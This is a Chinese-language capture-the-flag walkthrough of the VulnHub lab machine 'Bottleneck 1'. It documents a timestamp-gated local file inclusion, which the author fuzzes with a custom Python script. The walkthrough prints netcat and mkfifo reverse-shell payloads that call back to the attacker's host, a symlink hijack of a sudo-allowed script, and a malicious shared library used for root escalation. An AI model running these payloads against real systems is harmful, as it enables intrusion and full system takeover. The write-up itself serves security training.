靶机实战 |『VulnHub系列』Bottleneck 1-Walkthrough

靶机地址:

https://www.vulnhub.com/entry/bottleneck-1,374/

难度:中等 靶机发布日期:2019年9月28日

本文作者:

掣雷团队内部成员-ins1ght

作者CSDN博客:

https://blog.csdn.net/weixin_44214107

靶机描述:

Bottleneck is an intermediate boot2root machine.After some cyber attacks the admin hardened the system, show him that it's not so secure.If you need a hint feel free to contact me on Twitter: @bytevsbyt3

工具、知识点和漏洞

  • netdiscover
  • nmap
  • dirsearch
  • dirb
  • gobuster
  • metaspaloit
  • gcc
  • LFI漏洞
  • 编写python脚本
  • python2 input漏洞getshell

0x00 信息收集

靶机IP:192.168.0.107

netdiscover -r 192.168.0.0/24

端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.107

页面、目录枚举

dirb http://192.168.0.107 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.109 -e .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

枚举结果汇总

  • /css
  • /img
  • /js
  • /vendor
  • /index.php
  • /image_gallery.php

首页(index.php)

0x01 发现LFI漏洞

/image_gallery.php

发现这个img标签的src的值有点特别,对其进行base64解码,得到图片名称bottleneck_dontbe.png

在img目录可以正常访问该图片,且就是img标签显示的图片

使用firefox的开发者功能发现,每次访问

http://192.168.0.107/image_gallery.php页面时,

会发送一次请求

http://192.168.0.107/image_gallery.php?t=1570941505&f=Ym90dGxlbmVja19kb250YmUucG5n

并且返回的结果是png的数据流

猜测这里可能存在本地文件包含漏洞(LFI)

编辑请求参数的值,然后进行重发。最初用的是Burpsuite的Repeater模块,结果发现Response状态码是200,但并没有响应内容。

当然你也可以用firefox浏览器的开发者功能进行编辑重发,如下图所示

随后我使用浏览器的开发者功能对请求

http://192.168.0.107/image_gallery.php?t=1570941505&f=Ym90dGxlbmVja19kb250YmUucG5n

进行编辑重发。在编辑的过程中,我并未修改参数t和f的值,只是打开了编辑页面,然后直接点击了开发者功能板块右上角Send按钮,Response的状态码是200,但Content却是空的。随后我又多次访问image_gallery.php页面,观察请求png数据流的参数,发现参数t的值每次都发生变化,并且与之前相同的是,重发后不再得到png的数据流,结合参数t的名称,我猜测这个参数t指的应该是time。也就是说我们的t值必须与服务器上的时间计时器一致。

在Twitter上联系靶机作者,确认了我的推断,作者使用了时间戳

时间戳(timestamp)分析

从上图中两个时间戳(方框中的kali系统当前时间的时间戳,椭圆中的时间戳是靶机上的)可以看出,我的kali系统与靶机处于同一时区,这里由于手速的问题,两个时间戳的数值相差1。但我们可以基本断定:kali的系统时间与靶机的系统时间是一致的,这也就解决了时间戳的问题。

这里给出我的kali系统的时区。小弟虽然英语没过4级,但用的语言却TM是英文,包括我的宿主机Ubuntu……有一点儿装了

针对这个漏洞我编写了一个Python脚本

#!/usr/bin/python# -*- coding: UTF-8 -*-import datetimeimport timeimport requestsimport base64import argparse
# 发送请求def sendRequest(fuzzWordlist, url):    wordlistFile = open(fuzzWordlist,'r')    for line in wordlistFile.readlines():        word = line.strip('\r').strip('\n')        # 逐行对字典中的内容进行fuzz,需要先对字典中每一行内容进行base64编码        payload = base64.b64encode(word.encode("utf-8"))        # 获取时间戳(因为我的kali与靶机的系统时间一致,使用kali系统的当前时间生成的时间戳就是靶机上的时间戳),我的kali系统时间比大北京时间慢12小时        dtime = datetime.datetime.now()        t = int(time.mktime(dtime.timetuple()))        # 命令行打印时间戳和base64编码的payload        print 'timestamp:' + str(t)        print 'base64:' + payload
        try:            # 发送请求            URL = url            print URL            # 定义参数            PARAMS = {                't':t,                'f':payload}
            r = requests.get(url = URL, params = PARAMS)            # print r.text            file = open("/root/Desktop/response.txt", "a+")            # 为了方便区分请求的返回结果,加了这个            name = '--------' + word +' begin--------\r'            file.write(name)            file.write(r.content)            name = '--------' + word +' end--------\r\r'            file.write(name)            file.close()        except:            pass
def main():    # 获取命令行输入的参数    parser = argparse.ArgumentParser(description='timestamp')    # 字典的物理路径 /usr/share/wordlist/fuzzlist/wordlist.txt    parser.add_argument("--w")    # 请求的url, http://192.168.0.107/image_gallery.php    parser.add_argument("--url")    args = parser.parse_args()    url = args.url    fuzzWordlist = args.w    # 调用方法    sendRequest(fuzzWordlist, url)
if __name__ == '__main__':    main()

测试过程中使用的字典如下:

bottleneck_dontbe.png/etc/passwd../../../etc/passwd../../../../etc/passwd

最开始字典文件里面只放了bottleneck_dontbe.png一个payload,使用bottleneck_dontbe.png作为payload的目的是想测试一下脚本是否可用。由于我代码里是把获取到的response.content保存到一个文本文件中了,所以获取到内容之后,直接修改文件类型为png,发现可以正常查看图片,说明脚本可用。

随后使用上面列表里的三个payload,每一个都得到了如下的结果,

图中的一些内容并不是response.content中的,只是为了测试方便自己增加的

说来你可能不信,得到上面的结果之后没一会儿,靶机的作者在Twitter上联系我,问我做的怎么样了,我自己都觉得意外,于是乎有了下面的对话

面对如此热心肠的大兄弟我怎么能不努力?随后我使用payload:

../image_gallery.php

读取了的源代码,关键部分如下

从源代码中可以知道还有一个页面image_gallery_load.php,于是使用下面的payload一次性读取了下面三个文件的源代码:

../index.php../image_gallery_load.php../image_gallery.php

另外还有源代码开头的changlog

I've fixed that problem that @p4w and @ska notified me after hacker attack. Shit I'm too lazy to make a big review of my code. I think that the LFI problem can be mitigated with the blacklist. By the way to protect me from attackers, all malicious requests are immediately sent to the SOC

最终发现了关键部分是在image_gallery_load.php

<?phpfunction print_troll(){    $messages = $GLOBALS['messages'];    $troll = $GLOBALS['troll'];    echo $messages[0];    echo $troll;}
$troll = <<<EOT<pre>                                   _,..._                                  /__    \                                   >< `.  \                                  /_    \ |                                   \-_  /:|                                 ,--'..'. :                               ,'         `.                            _,'             \                   _.._,--''    ,           |               , ,',, _|    _,.'|      |    |            \\||/,'(,' '--''    |      |    |       _     |||                |      /-'  |      | |   (- -)<`._           |     /    /      | |  \_\O/_/`-.(<<        |____/    /      | |   /   \              / -'| `--.'|      | |   \___/             /           /      | |    H H             /     |     |      |_|_..-H-H--.._       /     ,|     |        |-.._"_"__..-|     |   _-/ |     |        |            |     |    |   \_   |        |            |     |    |   |    |        |            |     |____|   |    |        |            |  _..'    |   |____|        |            |_(____..._' _.'    |        `-..______..-'""         (___..--'<pre>EOT;
if(!isset($_GET['t']) || !isset($_GET['f'])){    exit();}
$imagefile = base64_decode($_GET['f']);$timestamp = time();$isblocked = FALSE;$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');$messages = array("\nLet me throw away your nice request into the bin.\n".    "The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".    "Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");
if(abs($_GET['t'] - $timestamp) > 10){    exit();}foreach($blacklist as $elem){    if(strstr($imagefile, $elem) !== FALSE)        $isblocked = TRUE;}// report the intrusion to the soc and save information locally for further investigationif($isblocked){    $logfile = 'intrusion_'.$timestamp;    $fp = fopen('/var/log/soc/'.$logfile, 'w');    fwrite($fp, "'".$imagefile."'");    fclose($fp);    exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');    print_troll();    exit();}chdir('img');$filecontent = file_get_contents($imagefile);if($filecontent === FALSE){    print_troll();}else{    echo $filecontent;}chdir('../');
?>

除了有backlist,还发现了有执行python脚本的代码

exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');

虽然我不知道ids_strong_bvb.py里面的内容是什么,但可以猜测是对soc日志文件进行处理,并将结果输出到/tmp/output中。由于/tmp不在blacklist中,我们应该是可以读取这个文件的,问题就是“当前的位置(pwd)”是在/img目录下,我们应该向上跳几级目录才能到根目录下?

Linux中用..表示上一级目录,例如,我们当前在/img目录下,如果webroot是/var/www/html,那么从/img目录跳到上一级目录就到达了/html。在Linux命令行中相当于执行了cd ..

Linux shell中,<表示从文件中读取内容,结合到上面的代码就是从/var/log/soc/*文件中读取日志;>表示向文件输出内容,结合到上面的代码就是输出脚本执行结果到/tmp/output文件

脚本的好处就是不需要人工一个一个去测试,使用前面的脚本,wordlist如下

/etc/passwd../tmp/output../../tmp/output../../../tmp/output../../../../tmp/output../../../../../tmp/output../../../../../../tmp/output../../../../../../../tmp/output../../../../../../../../../tmp/output/../../../tmp/output/../../../../tmp/output/../../../../../tmp/output/../../../../../../tmp/output/../../../../../../../tmp/output

最开始的时候上面列表中的payload全都获取不到数据,加上我没有仔细看image_gallery_load.php的源代码,误以为返回的结果只要是“丢垃圾”的那个图,那么就是payload不对。后来发现打印“丢垃圾”图的位置有两个,第一个是检测到参数f的值在blacklist中的时;第二个是参数f对应的文件为空时。而我正是中了“文件为空”的毒。

先仔细看下面两段代码

foreach($blacklist as $elem){    if(strstr($imagefile, $elem) !== FALSE)        $isblocked = TRUE;} // report the intrusion to the soc and save information locally for further investigationif($isblocked){    $logfile = 'intrusion_'.$timestamp;    $fp = fopen('/var/log/soc/'.$logfile, 'w');    fwrite($fp, "'".$imagefile."'");    fclose($fp);    exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');    print_troll();    exit();}

意思就是,在timestamp正确的情况下,如果被黑名单检测到,那么就会在/tmp/output文件中生成log。由于之前我们请求了/etc/passwd文件,所以/tmp/out里面有内容才对。可是现在为什么是空的呢?你可能想说,会不会是payload不对?wordlist里面我从向上一级目录到九级目录,这作者总不能变态到需要向上十级目录吧。所以我的结论是:虽然我不知道具体要向上多少级目录,但总在1~9之间。

那为什么文件是空的呢?被什么东西清空了呗!你还能想到其他的可能性吗?这也就是上面列表中为什么我的第一个payload是/etc/passwd。我故意先发送一个黑名单请求,让系统在/tmp/output里面生成日志,之后再读取。

python timestamp.py --w wordlist.txt --url http://192.168.0.107/image_gallery.php

对于用这个/tmp/output怎么反弹shell我是懵的。之前看过利用apache log文件、smtp log文件、ssh auth log文件来反弹shell,所以我这里硬着头皮也试了一下,结果头撞到铁板上了。

不过呢,我们仍然是有所收获的。从上图中看到当我们尝试使用payload:

/etc/passwd<?php system($_GET['cmd'])?>

发送请求之后,python脚本处理日志的时候出现了错误。因为实在不知道接下来怎么处理了,而且由于这个靶机是2019年9月28号发布的,到现在也才20天不到,网上搜Walkthrough也搜不到,做肯定是有人做出来的,只是可能没有把Walkthrough发布到网上,或者搜索引擎还没有收录(人生苦短,我用Google)所以只好到Twitter上询问靶机的作者。

我把我的思路和尝试过程跟作者说了一下,10小时后作者给了回复。

0x02 getshell

搜索"python2 input 漏洞",阅读了以下文章:

  • secpulse:
https://www.secpulse.com/archives/75491.html
  • 先知社区:
https://xz.aliyun.com/t/2289https://xz.aliyun.com/t/2289
  • 暗月博客:
http://www.moonsec.com/post-717.html
  • cnblog:
https://www.cnblogs.com/heycomputer/articles/10537633.html
  • 国外文章:
https://intx0x80.blogspot.com/2017/05/python-input-vulnerability_25.html

国外文章不知道没Tizi能不能正常访问……不过没关系,主要内容就是下面这张图里展示的

如果我们在知道pyhon2 input 函数存在漏洞的情况下,结合脚本的出错信息

data = str(input('report: ')

以及正常情况下写入的错误日志

report: [+] sending the message: /etc/passwd

就可以断定后续是利用input这个漏洞作文章了。

看过上面的文章之后我在自己的宿主机Ubuntu上进行了如下的尝试:

我先调用Python解释器与其进行交互,随后输入input()函数,接着输入了

__import__('os').system("uname -a")

意思是引入os模块,执行uname -a命令,查看内核信息。从结果上来看是执行成功了的;随后我想反弹shell到kali的1234端口,于是输入了

__import__('os').system("nc -e /bin/bash 192.168.0.108 1234")

,结果提示nc:无效选项-'e',一开始以为是我Ubuntu上的nc版本有问题,然后也没管。随后在kali上重复了反弹shell的操作,在Ubuntu上监听,结果就可以了。

后记:这里确实是Ubuntu上的nc的问题,安全起见,默认不允许使用 -e选项

之后搜索了一下nc: invalid option -- 'e',最先发现了国内的这篇文章:

https://www.fengdingbo.com/netcat-invalid-option-e.html

但是在修复的过程中发现与我的实际情况有出入。

文中/etc/alternatives/nc 指向的是 /bin/nc.traditional,而我这里的情况如上图所示。后来找到了StackExchange上的这个提问:

https://superuser.com/questions/691008/why-is-the-e-option-missing-from-netcat-openbsd

进行了尝试,还是不行,访问被拒绝。这个问题先放一放……至少在kali上是成功了的,相当于理论基础有了,哈哈哈

转入正题,第一次尝试反弹shell,失败。payload为:

/etc'__import__('os').system('nc -e /bin/bash 192.168.0.108 1234') and'

第二次尝试,失败。payload为:

/etc' and __import__('os').system('nc -e /bin/bash 192.168.0.108 1234') and'

看到上面的错误了没?是不是跟之前本地测试的时候一模一样,果然,你可以放过问题,但问题从来不会放过你,哈哈哈。

第三次尝试,失败。payload为:

/etc' and __import__('os').system('rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 >/tmp/f') and'

这种方式也就是nc的正向shell。所谓正向是指,攻击机(kali)主动连接靶机上的shell。从操作顺序而言就是靶机先执行如下命令:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 >/tmp/f'

然后kali使用如下命令去连接靶机的shell:

nc 192.168.0.107 1234

接着我尝试了反向shell,也就是先在kali使用nc监听端口,然后靶机反弹shell,成功获取shell。payload为:

/etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.108 1234 >/tmp/f") and'

接收反弹的shell也可以用MSF

msfconsoleuse exploit/multi/handlerset payload cmd/unix/reverse_netcat_gapingshow optionsset lhost 192.168.0.108set lport 1234run

0x03 提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py

https://github.com/sleventyeleven/linuxprivchecker

LinEnum.sh

https://github.com/rebootuser/LinEnum

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmpwget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中
python linuxprivchecker.py > report.txt

靶机做了这么些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本,因为脚本搜集的东西多到能让你看那么一会儿。

这里我先进行手动信息收集,过程如下:SUID权限可执行文件,除了发现/usr/bin/at可疑,别的没啥

find / -perm -u=s -type f 2>/dev/null

使用searchsploit工具搜索 /usr/bin/at

但是这个漏洞是针对Tru64 Unix的

Tru64 UNIX is a discontinued 64-bit UNIX operating system for the Alpha instruction set architecture (ISA), currently owned by Hewlett-Packard (HP). Previously, Tru64 UNIX was a product of Compaq, and before that, Digital Equipment Corporation (DEC), where it was known as Digital UNIX (originally DEC OSF/1 AXP).

全局用户可写文件,发现一堆,但是极大多数都是没用的,所以我先把结果输出到文本文件,然后使用grep加上关键字去筛选。

find / -writable -type f 2>/dev/null >/tmp/report.txtgrep -Ev '/proc|/sys' /tmp/report.txt

查找sudo权限命令

sudo -l

发现clear_logs是一个软链接,实体文件为/opt/clear_logs.sh,但是只有bytevsbyte用户有修改权限

用linuxprivchecker.py跑一下 网络信息 lo:

flags=73<UP,LOOPBACK,RUNNING>  mtu 65536

安装的软件 tcpdump 4.9.2-3 command-line network traffic analyzer Sudo version 1.8.27(最新的提权漏洞,但只影响小部分非标准配置的系统。我在自己的宿主机Ubuntu 18.04.3 LTS上测试成功。但是靶机上无法使用)

再用LinEnum.sh跑一下 /usr/bin/screen(exploit-db上PoC中的版本是4.05.00,而这里是4.06.02,你可能想试一下,但是靶机上没有安装gcc……)

现在能够想到的思路就是切换到bytevsbyte用户,然后看看/opt/clear_logs.sh能不能利用一下,/opt/clear_logs.sh应该是被计划任务调用的,没准对应的计划任务是root权限执行的。

关于如何切换到bytevsbyte用户,这里我们使用clear_logs这个软链接。通过执行sudo -l我们发现clear_logs可以被www-data用户无密码执行,但是(关键的东西总是从但是开始)只能作为bytevsbyte用户去执行,也就是说拥有的权限也只是bytevsbyte权限,而不是root权限。所以我们可以修改clear_logs软链接的指向,是其指向我们的脚本,随后运行clear_logs使www-data用户变成bytevsbyte。下面是过程:

kali创建文件clear_logs,开启HTTP服务,然后使用wget下载clear_logs到靶机,在使用wget下载的时候加上-O【大写英文字母O】选项将下载的文件“重命名”为clear_logs_copy,内容如下:

#!/bin/bash/bin/bash
cd /var/www/html/web_untilswget -O clear_logs_copy http://192.168.0.108/clear_logs

如果你想直接覆盖clear_logs软链接,你可能会遇到下图显示的权限问题

原因是:虽然www-data用户拥有clear_logs的所有权限,但是当我们覆盖clear_logs的时候实际上修改却是/opt/clear_logs.sh。这里的解决办法是先修改clear_logs软链接的指向,使其指向wget下载的文件clear_logs_copy。还有很关键的一步,记得要给clear_logs_copy赋予可执行权限,因为wget下载之后,clear_logs_copy并没有可执行权限。如果你没有给它可执行权限,那么在最后执行命令的时候,会出现下图中的错误,command not found:

赋予可执行权限

chmod 777 clear_logs_copy

使用ln -snf修改软链接的指向,使其指向我们的脚本。

ln -snf /var/www/html/web_utils/clear_logs_copy /var/www/html/web_utils/clear_logs

执行/var/www/html/web_utils/clear_logs,切换到bytevsbyte用户,随后我们读取到了bytevsbyte用户的flag

sudo后面一定要指定用户为bytevsbyte,不然会让我们输入www-data的密码

sudo -ubytevsbyte /var/www/html/web_untils/clear_logs

现在我们变成了bytevsbyte用户,还记得之前的思路吗?/opt/clear_logs.sh应该是被某个计划任务调用的,所以我这里执行crontab -l查看了计划任务,确实有一个计划任务调用/opt/clear_logs.sh,但是也只是bytevsbyte用户权限,而不是root用户权限。

crontab -l,如不指定用户,则显示的是当前用户的计划任务。

重新执行一遍查找SUID可执行文件的命令,发现/usr/test/testlib。

为什么要重新执行?因为文件有权限。www-data和bytevsbyte所属的用户组不同。bytevsbyte属于tester用户组,而只有tester用户可以读取/usr/test目录下的内容。

在SUID可执行文件的同目录下还有它的源代码,内容如下:

#include <dlfcn.h>#include <unistd.h>
int main(int argc, char *argv[]){    void *handle;    int (*function)();    if(argc < 2)        return 1;    handle = dlopen(argv[1], RTLD_LAZY);    function = dlsym(handle, "test_this");    function();    return 0;}

首先程序需要一个用户输入的参数,否则直接返回1;然后将用户输入的参数作为动态链接库文件的名称,dlopen以指定模式打开动态连接库文件,并返回一个句柄给调用进程;dlsym通过句柄和连接符名称获取函数名或者变量名。

对这么“深入”的C语言代码不是很懂,我现在能够想到的方法就是:第一,找到靶机里面对应的动态连接库文件(可能有);第二,自己写出可以实现相同功能的C语言代码,然后编译成动态链接库文件;第三,可能这两个函数存在漏洞,可以构造特殊的字符串,以达到目的。

网上一番搜索找到如下exp,Github链接

下面是我们的程序test_this.c,这里需要我们修改函数的名称为test_this,必须是这个,因为/usr/test/testlib源代码里使用的函数名称就是这个。

#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <unistd.h>void test_this(){setuid(0); setgid(0); system("/bin/sh");}

gcc编译时出现如下错误,原因是Github上的exp没有包含system函数的头文件,执行man system命令后,发现头文件为#include <stdlib.h>,添加头文件后,重新编译通过。

gcc -fPIC -shared test_this.c -o test_this.so

将我们的动态链接库文件下载到靶机,并赋予可执行权限,我直接给的777,随后运行/usr/test/testlib,成功提权

/usr/test/testlib /tmp/test_this.so

如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。如果您觉得写的还不错,也欢迎分享给身边的人。

本文分享自微信公众号 - 小白帽学习之路(bat7089)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-06

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券